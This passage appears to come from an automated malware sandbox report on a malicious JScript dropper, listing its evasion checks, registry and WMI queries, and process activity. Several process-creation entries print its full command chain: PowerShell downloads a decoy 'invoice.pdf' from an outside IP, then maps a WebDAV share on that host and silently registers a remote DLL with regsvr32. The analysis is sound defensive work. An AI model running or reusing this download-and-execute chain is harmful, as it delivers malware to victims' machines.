Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3502.js.csv");ITextStream.WriteLine(" entry:8040 f:ooppc");ITextStream.WriteLine(" exec:2 f:ooppc");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49727

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4330			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5486			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6320	Thread sleep count: 4330 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2248	Thread sleep count: 5486 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5412	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6596	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7068	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7224	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\net.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\net.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\net.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\System32\net.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2238678348.000001D05A5FD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: net.exe, 00000007.00000002.2238678348.000001D05A5FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3461585113.000002A62BC54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3459360947.000002A62662B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3461523412.000002A62BC2E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2238678348.000001D05A598000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp&`Z

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

